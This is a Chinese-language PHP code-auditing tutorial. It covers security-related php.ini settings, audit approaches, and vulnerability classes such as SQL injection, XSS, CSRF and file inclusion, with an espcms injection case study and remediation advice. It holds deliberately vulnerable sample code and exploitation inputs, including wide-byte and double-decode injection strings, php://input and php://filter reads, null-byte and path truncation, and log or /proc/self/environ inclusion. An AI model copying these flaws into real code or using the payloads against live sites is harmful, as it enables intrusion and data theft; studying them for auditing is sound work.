代码审计

代码审计工具: Seay RIPS

php配置常量 含义
PHP_INI_USER 该配置项可在用户的PHP脚本或者windows注册表配置
PHP_INI_PERDIR 该配置项可在php.ini .htaccess 或者 httpd.conf中设置
PHP_INI_SYSTEM 改配置项可在php.ini 或者httpd.conf中设置
PHP_INI_ALL 该配置项可在任何地方配置
php.ini only 该配置项仅可在php.ini中配置

PHP安全配置

PHP 安全配置多达百项,这里只列出和安全相关的配置项。

一、代码审计基础

1. register_globals(全局变量注册开关)

该选项设置为ON的情况下,会直接把GET、POST等方式传递的参数注册为全局变量并初始化为参数对应的值,使得提交的参数可以直接在脚本中使用。

register_globals 在PHP版本小于等于4.2.3版本时设置为PHP_INI_ALL,从PHP5.3.0起都被废弃,不推荐使用,在PHP5.4.0中移除了该选项。

当register_globals被打开时,切php版本小于5.4.0,以下代码结果会输出true:

1
2
3
4
5
6
<?php
if($user=='admin'){
echo 'true';
}
?>
测试地址: http://localhost/index.php?user=admin

2.allow_url_include

这个命令对PHP安全的映像很大,该配置默认情况下为on,他可以直接包含远程文件,当存在include($var)并且 $var可控的情况下,可以控制该变量来执行php代码。allow_url_include 在php5.2.0后默认为off,配置范围是PHP_IN_ALL。与之类似的配置有 allow_url_fopen,配置是否允许打开远程文件,不过该参数对安全的映像没有allow_url_include 大,所以这里不做详细介绍。

配置 allow_url_include 为 on 可以使用以下代码进行测试

1
2
3
4
<?php
include $_GET['a'];
?>
测试地址: http://localhost/index.php?a=http://www.baidu.com

3. magic_quotes_gpc (魔术引号自动过滤)

magic_quotes_gpc 在安全方面做出了很大贡献,开启该功能,在不存在编码或者其他特殊注入绕过的情况下,可以使得很多漏洞无法被利用,他也是渗透测试人员很头疼的一个东西。当该选项为on时,会自动在GET、POST、COOKIE变量中的单引号(’)、双引号(”)、反斜杠(\ )以及空字符 (NULL)的前面加上反斜杠 (\),但是在PHP5中magic_quote_gpc并不会过滤 $_SERVER变量,导致很多类似client-ip,referer一类的漏洞能够利用。在php5.3之后的不推荐是同 magic_quotes_gpc,php5.4之后干脆取消,所以你下载PHP5.4之后的版本并打开配置文件会发现找不到这个配置选项。在PHP版本小于4.2.43时,配置范围是PHP_INI_ALL。在php版本大于4.2.3时,是PHP_INI_PERDIR。

测试代码如下:

1
2
3
4
<?php
echo $_GET['seay'];
?>
测试地址: http://localhost/index.php?seay='


4.magic_quotes_runtime(魔术引号自动过滤)

magic_quotes_runtime功能同上,区别在于处理的对象,该配置只对从数据库或者文件中获取的数据进行过滤,他的作用与上面的进行互补,可以预防二次注入攻击等等,在php5.4版本之后也被取消,配置范围是PHP_INI_ALL。

受该配置影响的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
get_meta_tags()
file_get_contents()
file()
fgets()
fwrite()
fread()
fputcsv()
stream_socket_recvfrom()
exec()
system()
passthru()
stream_get_contents()
bzread()
gzfile()
gzgets()
gzwrite()
gzread()
exif_read_data()
dba_insert()
dba_replace()
dba_fetch()
ibase_fetch_row()
ibase_fetch_assoc()
ibase_fetch_object()
mssql_fetch_row()
mssql_fetch_object()
mssql_fetch_array()
mssql_fetch_assoc()
mysqli_fetch_row()
mysqli_fetch_array()
mysqli_fetch_assoc()
mysqli_fetch_object()
pg_fetch_row()
pg_fetch_assoc()
pg_fetch_array()
pg_fetch_object()
pg_fetch_all()
pg_select()
sybase_fetch_object()
sybase_fetch_array()
sybase_fetch_assoc()
SplFileObject::fgets()
SplFileObject::fgetcsv()
SplFileObject::fwrite()

测试代码如下

1
2
3
4
5
6
7
8
9
文件1
1'2''3\4

文件2:
<?php
ini_set("magic_quotes_runtime","1");
echo file_get_contents("1.txt");
?>
测试结果反斜杠并不受影响,版本5.3,经排查,是由于下面 magic_quotes_sybase开启导致的,该配置被覆盖导致。

5.magic_quotes_sybase

magic_quotes_sybase 指令用于过滤特殊字符,当设置为on时,他会覆盖掉magic_quotes_gpc配置。magic_quotes_sybase仅仅转移了空字符和把单引号变成了双引号,,在php5.4之后移除。

6.safe_mode(安全模式)

安全模式是PHP内嵌的一种安全机制,当safe_mode=on时,联动可以配置的指令有safe_mode_include_dir、safe_mode_exec_dir、safe_mode_allowed_env_vars、safe_modeprotected_env_vars。 safe_mode指令的配置范围是PHP_INI_SYSTEM,PHP5.4之后被取消。

该配置会有以下限制:

1)所有文件操作函数,如unlink()、file()、和include()都会受到限制,如文件a.php和文件c.txt的文件拥有者是用户a,文件b.txt的所有者是用户b,且文件a.php不在属于同一个用户的文件夹中,当启动了安全模式是,用户执行a.php再删除文件c.txt可成功,但是删除b.php会真失败,文件include等函数也一样,如果有一些脚本文件放在非WEB服务启动用户所有的目录下,需要利用include等函数来加载一些类或函数,可以使用safe_mode_include_dir指令来配置可以包含的路径。

2) 通过函数popen()、system()以及exec()等函数执行命令或程序或提示错误,如果我们需要使用一些外部脚本,可以把他们集中放在一个目录下,然后使用safe_mode_include_dir指令指向脚本目录。

下面是使用safe_mode受到影响的函数、变量以及配置指令的完整列表:

函数名 介绍
dbmopen() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_rowcount() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_retrieve() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
ifx_* sql_safe_mode restrictions, (!= safe mode)
ingres_* sql_safe_mode restrictions, (!= safe mode)
mysql_* sql_safe_mode restrictions, (!= safe mode)
pg_lo_import() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
posix_mkfifo() Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
putenv() Obeys the safe_mode_protected_env_vars and safe_mode_allowed_env_vars ini-directives. See also the documentation on putenv()
move_uploaded_file() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chdir() Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
dl() This function is disabled when PHP is running in safe mode.
backtick operator This function is disabled when PHP is running in safe mode.
shell_exec() (functional equivalent of backticks) This function is disabled when PHP is running in safe mode.
exec() You can only execute executables within the safe_mode_exec_dir. For practical reasons it’s currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
system() You can only execute executables within the safe_mode_exec_dir. For practical reasons it’s currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
passthru() You can only execute executables within the safe_mode_exec_dir. For practical reasons it’s currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
popen() You can only execute executables within the safe_mode_exec_dir. For practical reasons it’s currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
fopen() Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
mkdir() Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rmdir() Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rename() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
unlink() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
copy() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (on source and target)
chgrp() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chown() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chmod() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits
touch() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
symlink() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
link() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
apache_request_headers() In safe mode, headers beginning with authorization (case-insensitive) will not be returned.
header() In safe mode, the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication).
PHP_AUTH variables In safe mode, the variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE are not available in $_SERVER. Regardless, you can still use REMOTE_USER for the USER. (note: only affected since PHP 4.3.0)
highlight_file() , show_source() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
parse_ini_file() Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
set_time_limit() Has no effect when PHP is running in safe mode.
max_execution_time Has no effect when PHP is running in safe mode.
mail() In safe mode, the fifth parameter is disabled.
session_start() The owner of a script must be the same as owner of a session.save_path directory if the default files session.save_handler is used.
All filesystem and stream functions. Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (see the safe_mode_include_dir php.ini option.

7.open_basedir PHP可访问目录

open_basedir指令用来限制PHP只能访问哪些目录,通常我们需要设置web文件目录即可,如果需要加载外部脚本,也需要把脚本所在的目录路径加入到open_basedir指令中,多个目录以分号(;)分割。使用open_basedir需要注意的一点是,只的是限制实际上是前缀而不是目录名。入炉配置open_basedir=/www/a,那么目录/www/a 和/www/ab都是可以昂文的。所以如果要讲访问权限现在在指定的目录内,请用斜杠结束路径名,如/www/a/。

当该配置开启后,所有脚本访问其他文件都需要验证文件路径,因此在执行效率上面有一定影响。该指令配置范围在php版本小于5.2.3是PHP_INI_SYSTEM,在大雨等于5.2.3版本吧是PHP_INI_ALL。

8.disable_functions (禁用函数)

在正式生产环境中,为了更安全的运行php,也可以使用disable_functions指令来进制一些敏感函数的使用,当你想用本指令禁止一些危险函数时,切记要把dl()函数也加入到禁止列表,因为dl()函数可以被攻击者用来加载自定义的php拓展以突破disable_funtions指令的限制。

本指令配置范围为php.ini only。配置禁用函数时使用都好分割函数名,例如: disable_functions=phpinfo,eval,passthru,exec,system 。

9.disaplay_errors 和 error_reporting 错误显示

disaplay_errors 表明是否显示php脚本内部错误的选项,在调试php时,通常把php错误显示打开,但是在生产环境中,建议关闭php错误回显,即设置display_errors=off,以避免带来一些安全隐患。在设置disaplay_errors=on时,还可以配置的一个指令是error_reporting ,这个选项用来配置错误回显的级别,可以使用数字也可以使用内置常量配置,数字格式与常量格式的信息如下:
| 值 | 常量 | 描述 | Note |
| ——- | —————————- | ————- | —— |
| 1 | E_ERROR | (integer) Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted. | |
| 2 | E_WARNING | (integer) Run-time warnings (non-fatal errors). Execution of the script is not halted. | |
| 4 | E_PARSE | (integer) Compile-time parse errors. Parse errors should only be generated by the parser. | |
| 8 | E_NOTICE | (integer) Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script. | |
| 16 | E_CORE_ERROR | (integer) Fatal errors that occur during PHP’s initial startup. This is like an E_ERROR, except it is generated by the core of PHP. | |
| 32 | E_CORE_WARNING | (integer) Warnings (non-fatal errors) that occur during PHP’s initial startup. This is like an E_WARNING, except it is generated by the core of PHP. | |
| 64 | E_COMPILE_ERROR | (integer) Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine. | |
| 128 | E_COMPILE_WARNING | (integer) Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine. | |
| 256 | E_USER_ERROR | (integer) User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error(). | |
| 512 | E_USER_WARNING | (integer) User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error(). | |
| 1024 | E_USER_NOTICE | (integer) User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error(). | |
| 2048 | E_STRICT | (integer) Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code. |Since PHP 5 but not included in E_ALL until PHP 5.4.0 |
| 4096 | E_RECOVERABLE_ERROR | (integer) Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR. |Since PHP 5.2.0 |
| 8192 | E_DEPRECATED | (integer) Run-time notices. Enable this to receive warnings about code that will not work in future versions. | Since PHP 5.3.0 |
| 16384 | E_USER_DEPRECATED | (integer) User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error(). |Since PHP 5.3.0 |
| 32767 | E_ALL | (integer) All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0. |32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously |

以上配置范围都是PHP_INI_ALL。

回影响安全的指令大致介绍到这里,下表列出一些常用指令以及应对的说明。

指令 可配置范围 说明
safe_mode_gid PHP_INI_SYSTEM 以安全模式打开文件时默认使用UID来对比;设置本指令为on使用GID做宽松对比
exporse_php php.ini only 是否在服务器返回HTTP头显示PHP版本
max_execution_time PHP_INI_ALL 是每个脚本最多执行秒数
memory_limit PHP_INI_ALL 每个脚本最大使用内存
log_errors PHP_INI_ALL 将错误输出到日志文件
log_errors_max_len PHP_INI_ALL 错误日志最大长度
varibles_order PHP_INI_PERDIR 此命令描述了php注册GET、POST、Cookie、环境和内置变量的顺序,注册从左往右,新值覆盖旧值
post_max_size PHP_INI_PERDIR PHP最大接受的post数据
auto_prepend_file PHP_INI_PERDIR 在任何php文档之前自动包含文件
auto_append_file PHP_INI_PERDIR 在任何pgp文档之后自动包含文件
file_uploads PHP_INI_PERDIR 是否允许http上传
upload_tmp_dir PHP_INI_PERDIR 对于http上传文件的临时目录进行配置
upload_max_filesize PHP_INI_PERDIR 允许上传的最大文件大小
extension__dir PHP_INI_PERDIR 可加载的拓展模块的目录位置

二、代码审计思路

代码审计工具的实现都是基于代码审计经验开发出来的优化工作效率的工具,我们要学好代码审计就必须要熟练代码审计的思路,只有在了解了这些思路后,我们才知道如何下手,如何最高效的挖掘到最有质量的漏洞,常见的代码审计思路有如下四种:

  • 根据敏感关键字回溯参数传递过程
  • 查找可控变量,正想追踪变量过程
  • 寻找敏感功能点,通读功能点代码
  • 直接通读全文代码

下面我们就看看这几张代码审计方式

1 根据敏感函数来逆向追踪参数传递过程

该方法目前使用最多,因为大多漏洞是由于函数使用不当造成的。另外非函数使用不当的漏洞,如SQL注入,也有一些特征,比如Select,insert等,再结合From和whrer等关键字,我们就可以判断这是否是一条SQL语句,通过对字符串的识别分析,就能判断这个sql语句里面的参数有没有使用单引号过滤,或者根究我们的经验来判断。想HTTP头里面的HTTP_CLIENT_IP 和HTTP_X_FORWORDFOR等获取到的IP地址经常没有安全过滤就直接拼接到sql语句中,并且由于他们是在$_SERVER变量中不受GPC的影响,那我们就可以去查找该关键字来快速寻找漏洞。

这种方式的优点是只需搜索相应敏感关键字,即可快速地挖掘想要的漏洞,具有可定向挖掘和高效,高质量的优点。

其缺点是没有通读代码,对程序的整体框架不够了解,挖掘深度不够,而且逻辑漏洞挖不到。

2 通读全文代码寻找漏洞

  • 查找关键sql语句,看看sql语句是否直接带入变量查询
  • 通读全文代码,特别是公共函数,如common、fuction 等 、 index文件至关重要
  • 根据功能点的定向审计 1.文件上传功能 2.文件管理功能 3.登录认证功能 4.密码找回功能

漏洞挖掘与防范

漏洞分类:

  • XSS
  • SQL注入
  • 文件操作
  • 代码/命令执行
  • 变量覆盖

漏洞挖掘经验

SQL注入经常出现在登录页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方,因为这几个地方是业务相对复杂的,登录页面的注入现在来说大多数发生在http头里面的client-ip和x-forward-for,一般同来记录登录的ip地址,另外在订单系统里面,由于订单涉及购物车等多个交互,所以经常会发生二次注入,我们在通读代码挖掘漏洞的时候可以着重关注这几个地方。

1.普通注入

这里的普通注入是指最容易利用的sql比如直接通过注入union查询就可以查询数据库,一般的sql注入工具也可以非常好的利用、普通注入有int型注入和string型注入,在string型注入中需要使用单引号或双引号闭合,下面有一段存在普通注入的代码。

1
2
3
4
5
6
7
8
9
<?php
$uid = $_GET['id'];
$sql = "select * from userinfo where id = $uid";
$conn = mysql_connect('localhost','root','123456');
mysql_select_db("test",$conn);
$result = mysql_query($sql,$conn);
print_r('当前SQL语句:',$sql."<br>"."结果:");
print_r(mysqli_fetch_row($result));
?>

2.编码注入

由于各种编码转换的问题,所以就存在了宽字节注入漏洞,最常见的是mysql宽字节注入和Urldecode/rowurldecode 等。

2.1 宽字节注入

测试代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$conn = mysql_connect('localhost','root','123456');
mysql_select_db("test",$conn);
mysql_query("SET NAMES 'gbk'",$conn);
$uid = addslashes($_GET['id']);
$sql = "select * from userinfo where id = $uid";
print_r('当前SQL语句:',$sql."<br>"."结果:");
print_r(mysqli_fetch_row($result));
mysql_close($conn);
?>

当访问index.php?id=%df’ union select 1 2 3 4 %23 ,会执行以下sql语句

出现该漏洞的原因是在php链接mysql的时候执行了如下设置:

1
set character_set_clien=gbk

mysql对语句查询的时候%df和 %3c (反斜杠)合并为一个 ‘運’ 字

1
2
3
4
5
6
7
SET NAMES 'gbk'

等同于如下代码:

SET charseter_set_connection = 'gbk'
SET charseter_set_results = 'gbk'
SET charseter_set_client = gbk

官方推荐使用:mysql_set_charset 这种方式来设置编码

对于宽字节注入的挖掘办法也相对简单,只要搜索如下关键字即可:

1
2
3
SET NAMES
charseter_set_client = gbk
mysql_set_charset('gbk')

解决方案:

  • 执行 SET NAMES ‘gbk’,追加一条:charseter_set_client = binary
  • 使用mysql_set_charset(‘gbk’)设置,使用mysql_real_escape_string() 来过滤
  • 使用pdo来操作数据库,在php5.3.6及其以下版本需要配置:setAttribute(PDO::ATTR_EMULATE_PREPARES,false); 来禁用 prepared statements的仿真效果

这里推荐使用 第一和第三种方式

2.2 二次urldecode注入

只要存在字符转换,就有可能存在漏洞,现在的web程序大都会进行参数过滤,通常使用addslashes(),使用mysql_real_escape_string(),使用mysql_escape_string()函数或者开启GPC的方式来达到防止注入的目的。也就是将单引号,双引号,斜杠,null等特殊字符进行转义处理,如果某处使用了urldecode 或者 rawurldecode函数,则会导致二次解码生成单引号而引发注入。原理是我们提到参数到webserver时,webserver会自动解码一次,假设目标程序开启了GPC,我们提交 /index.php?id=1%2527,因为我们提交的参数没有单引号,所以第一次 解码后的结果是 id=1%27,(%25 url编码对应的符号 就是 %),如果程序里面再使用urldecode或者rawurldecode等函数 来解码id,则解码的结果就会变成 id=1’,成功绕过引号的排查,注入到数据库。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
$a = addslashes($_GET['p']);
$b = urldecode($a);
echo '$a='.$a.'<br>';
echo '$b='.$b;
?>
```php

### espcms搜索注入分析

使用seay代码审计工具分析,漏洞在 interface/search.php中。

代码:
```php
function in_taglist() {
parent::start_pagetemplate();
include_once admin_ROOT . 'public/class_pagebotton.php';

$page = $this->fun->accept('page', 'G');
$page = isset($page) ? intval($page) : 1;
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$tagkey = urldecode($this->fun->accept('tagkey', 'R')); // 这里获取到tagkey之后进行urldecode处理。
$tagkey = $this->fun->inputcodetrim($tagkey);

$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
if (empty($tagkey)) {
$linkURL = $_SERVER['HTTP_REFERER'];
$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
}
if (!empty($tagkey)) { //这里判断非空就直接拼接查询
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
}
$pagemax = 20;

$pagesylte = 1;

$templatesDIR = $this->get_templatesdir('article');

$templatefilename = $lng . '/' . $templatesDIR . '/search';

$db_table = db_prefix . 'document';
$countnum = $this->db_numrows($db_table, $db_where);
if ($countnum > 0) {

$numpage = ceil($countnum / $pagemax);
} else {
$numpage = 1;
}
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
$sql = $this->htmlpage->PageSQL('pid,did', 'down');
$rs = $this->db->query($sql);
while ($rsList = $this->db->fetch_assoc($rs)) {
$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList[$keyname] = str_ireplace($keyword, '<font color="#F00000"><u>' . $keyword . '</u></font>', $rsList[$keyname]);
$array[] = $rsList;
}
$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));
$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());
$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));
$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());
$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());

$this->pagetemplate->assign('array', $array);
$this->pagetemplate->assign('path', 'search');
unset($array, $typeread, $modelview, $LANPACK, $this->lng);
$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);
}

在其中 :

$tagkey = urldecode($this->fun->accept(‘tagkey’, ‘R’));

这里获取到tagkey之后进行urldecode处理。

if (!empty($tagkey)) {
$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;
}

//这里判断非空就直接拼接查询

漏洞防范

SQL注入防范

sql注入虽然是目前最泛滥的楼漏洞,不过要解决sql注入漏洞其实还是有点办法的。在php中可以用魔术引号来解决,不过php5.4版本后就被取消了,并且gpc在遇到discuz、dedecms、phpcms等程序里面都使用过滤类,不过如果淡出的过滤函数写的不够严谨,也会出现绕过的情况,想这三套程序都存在绕过问题,当然最好的解决方案还是利用预编译的方式,下面就来看看这三种方式的使用方法。

1. gpc/runtime 魔术引号
2. 过滤函数和类
  • addslashes() 函数
  • mysql_[real_]escape_string() 函数
  • intval() 函数
  • PDO 预编译,与java的prepareStatement类似。

代码如下:

1
2
3
4
5
6
7
<?php
$dbh = new PDO("mysql:host=localhost; dbname=demo","user","pass");
$dbh->exec("set names 'gbk'");
$sql = "select * from test where name = ? and password = ?";
$stmt = $dbh->prepare($sql);
$exeres = $stmt->execute(array($name,$pass));
?>

XSS防范

挖掘XSS漏洞的关键在于寻找没有过滤的参数,且这些参数传入到输出函数,常用的输出函数列表如下:
print 、 print_r 、echo、 printf、sprintf、die 、 var_dump、var_export
所以只要找到带有变量的这些函数即可。另外在代码审计中。XSS漏洞在浏览器环境对利用的影响非常大,最重要的是还要掌握各种浏览器容错、编码等特性和数据协议。

XSS漏洞比SQL注入更多,而且在满足业务需求的情况下更加难防御。XSS漏洞经常出现在文章发表、评论回复、留言以及资料设置等地方,特别是在发文章的时候,因为这里大多都是富文本,有各种图片引用,文字格式等,所以经常出现对标签时间过滤不严格导致的XSS,同样,评论回复以及留言也是。其次在资料设置的地方,比如用户昵称、签名等,有的应用可能不只有溢出设置资料的地方,想在注册的地方可以设置、修改资料的地方可以设置,这时候要多留意,不一定设置这个资料的地方都过滤严格了,以上介绍的XSS类型多为存储型。

1.反射型XSS

反射型XSS就是直接通过外部输入然后在浏览器上触发,这种类型的XSS比较容易被扫描器发现,只需要将尖括号、单引号等提交到web服务器,检查返回的html页面有没有保留原来的字符即可判断。在白盒测试中只需要寻找带参数的输出函数,然后根据输出函数对输出结果的内容回溯输入参数,观察有没有经过过滤即可。

举例一个反射型XSS:

1
2
3
if($_GET["openid"]){
echo $_GET["oauth_signature"];
}
2.存储型XSS

存储型XSS主要是把代码保存到数据库或者文件当中,当web程序读取利用代码并输出在页面上执行利用代码.

存储型XSS比反射型XSS要容易很多,不用考虑啊绕过浏览器的过滤,另外在隐蔽性上面也要好得多,特别说在社交网络中的存储型XSS蠕虫能造成大面积传播,影响较大。

防御方法
  • 特殊字符html实体转码:单引号、双引号、尖括号、反斜杠、冒号、and符号、#等。
  • 标签事件属性黑白名单:使用正则匹配过滤输入内容
CSRF漏洞

CSRF全称为Cross-site reuqest forgery,跨站请求伪造。说白一点就让利用XSS让你(管理员)去做一些操作,如修改签名啊,删除用户啊。

CSRF就是别人给你一个网站,你点开后就会自动把你百度账号的签名改了,或者其他数据。

挖掘CSRF漏洞的时候先搭建好环境,打开几个有非静态的页面,抓包看有没有token,如果没有token的话,再直接请求这个页面,不带refer。如果返回的数据还是一样的话,那说明很可讷讷个有CSRF漏洞了,这个是一个黑盒的挖掘方法,从白盒角度来说,主要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码,这里的核心文件指的是被大量文件引用的基础文件,或者直接搜索tocken这个关键也能找到,如果在核心文件中没有,再去看看你关心的功能点的代码看看有没有验证。

防御

预防CSRF漏洞最主要的问题是解决可信问题,即使是管理员权限提交到服务器的数据,也不一定是完全可信的,所以对CSRF的防御有以下2点:1增加token/referer验证避免img标签请求的水坑攻击,2)增加验证码

文件操作漏洞

文件操作漏洞包括文件包含,文件读取,文件删除,文件修改以及文件上传,这几种文件操作的漏洞有部分的相似点,但是每种漏洞都有各自的漏洞函数以及利用方式。下面来具体分析成因、挖掘方式和修复方案。

文件包含漏洞

文件包含漏洞主要分为远程文件包含和本地文件包含,申通过程中文件包含漏洞大多可以直接利用获取webshell。文件包含函数有include(),include_once(),require()和require_once(),他们之间的区别在于include 和 include_once在遇到错误时仍会继续运行,而requeire()和require_once()则会直接报错退出程序。

挖掘经验:

该漏洞大多出现在模块加载,模板加载以及cache调用的地方,比如传入的模块名参数,实际上是把这个拼接到了包含文件的路径中,比如像espcms的代码:

1
2
3
4
5
$archive = indexget('archive','R');
$archive = empty($archive) ? 'adminuser' : $archive ;
$action = indexget('action','R');
$action = empty($action) ? 'adminuser' : action ;
include admin_ROOT . adminfile . "/control/$archive.php"

漏洞形成条件: 1、存在文件包含 2、文件包含的内容可控

本地文件包含漏洞

本地文件包含漏洞是指只能包含本机文件的文件包含漏洞,大多出现在爱模块加载,模板加载和cache这些地方,渗透的时候利用起来并不鸡肋,有多重利用方式,比如上传一个允许上传的文件格式再来执行代码,包含PHP上传的临时文件在请求URL或者ua里面加入要执行的代码,webserver记录到日志后再包含webserver的日志,还有像linux下可以包含 /proc/self/environ文件

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
1.php:
<?php
define("ROOT",dirname(__FILE__).'/');
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
?>
2.php:
<?php phpinfo();?>

此时可以访问 /1.php?mod=2 执行结果

远程文件包含

远程文件包含需要设置 allow_url_include = On,PHP5.2之后这个选项的可修改范围是PHP_INI_ALL,不过出现的频率没有本地文件包含多,偶尔能挖到,现在我们看看基于HTTP协议测试代码:

1
<?php include($_GET['url']); ?>

在get参数传入 url = “http://remotehost/2.txt",即可达到包含远程文件的目的,其从远程机器上的内容下载到本地后以PHP代码的形式执行。

远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面的代码测试,只要执行POST请求 1.php?a=php://input,POST的内容为php代码 <?php phpinfo();?> 即可打印出PHPinfo信息。

CTF 常用题型:

php://filter/read=convert.base64-encode/resource=../sqli/db.php

文件包含截断

大多数文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般都是 include(BASEPATH . $mod.’.php’) 或者 include($mode.’.php’)这样的方式

如果我们不能写入以.php为拓展名的文件,那么我们需截断来利用

第一种方式,利用%00截断

这是最古老的方法,不过还是有很多企业可以这么利用,%00截断受限于GPC和addslashes等函数的过滤,且在php5.3之后修复了%00截断的问题:

index.php

1
2
3
<?php
include $_GET['a'].'.php'
?>

1.txt

1
2
3
<?php
phpinfo();
?>

访问:http://localhost/index.php?a=1.txt%00 即可输出phpinfo

但是该功能在魔术引号开启的情况下无法利用

通过多个 . 和 / 来截断(不受GPC影响)

如构造 2.txt…….. 或 2.txt //////// 来截断后面的字符,至于多少个./,则需要些脚本进行测试。

windows平台240个,linux平台2038个,针对以下代码:

1
2
3
4
5
6
7
8
9
<?php
$str = '';
for ($i = 0 ; $i <= 240 ;$i++){
$str.= '.';
}
$str = '2.txt'.$str;
echo $str;
include $str.'.php';
?>

远程文件包含时利用?来伪截断

访问 localhost/1.txt?a=123
测试代码如下:

1
2
3
<?php
include $_GET['a'].'.php';
?>

metinfo文件包含漏洞
文件读取漏洞(下载)漏洞

文件读取漏洞和文件下载漏洞本质都是信息泄露,文件读取漏洞常用函数:

file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()

